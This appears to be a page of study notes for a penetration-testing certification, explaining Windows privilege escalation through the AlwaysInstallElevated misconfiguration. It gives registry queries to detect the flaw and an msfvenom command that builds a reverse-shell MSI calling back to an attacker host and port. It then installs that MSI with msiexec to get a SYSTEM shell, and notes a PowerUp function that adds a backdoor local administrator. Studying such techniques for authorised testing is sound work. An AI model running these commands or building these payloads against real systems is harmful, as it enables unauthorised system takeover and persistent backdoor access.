> For the complete documentation index, see [llms.txt](https://pnpt.adot8.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pnpt.adot8.com/windows-privilege-escalation/registy/alwaysinstallelevated.md). # AlwaysInstallElevated ## Overview **AlwaysInstallElevated** is a misconfiguration that installs all **msi** packages as **system**. Wheels spinning? ## Elevation via AlwaysInstallElevated Query the registry for the misconfiguration ```powerquery reg query HKLM\Software\Policies\Microsoft\Windows\Installer reg query HKCU\Software\Policies\Microsoft\Windows\Installer ```

The machine is vulnerable if both values are set to 1

Create a malicious msi file 
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.8 LPORT=1337 -f msi -o rev.msi
Pop a shell ```powerquery msiexec /i rev.msi ``` ### Quick Win You can get a quick win by using the **Write-UserAddMSI** function from PowerUp. This function will add a backdoor user to the **Local Administrators Group** {% hint style="info" %} An RDP sessions is required for this {% endhint %}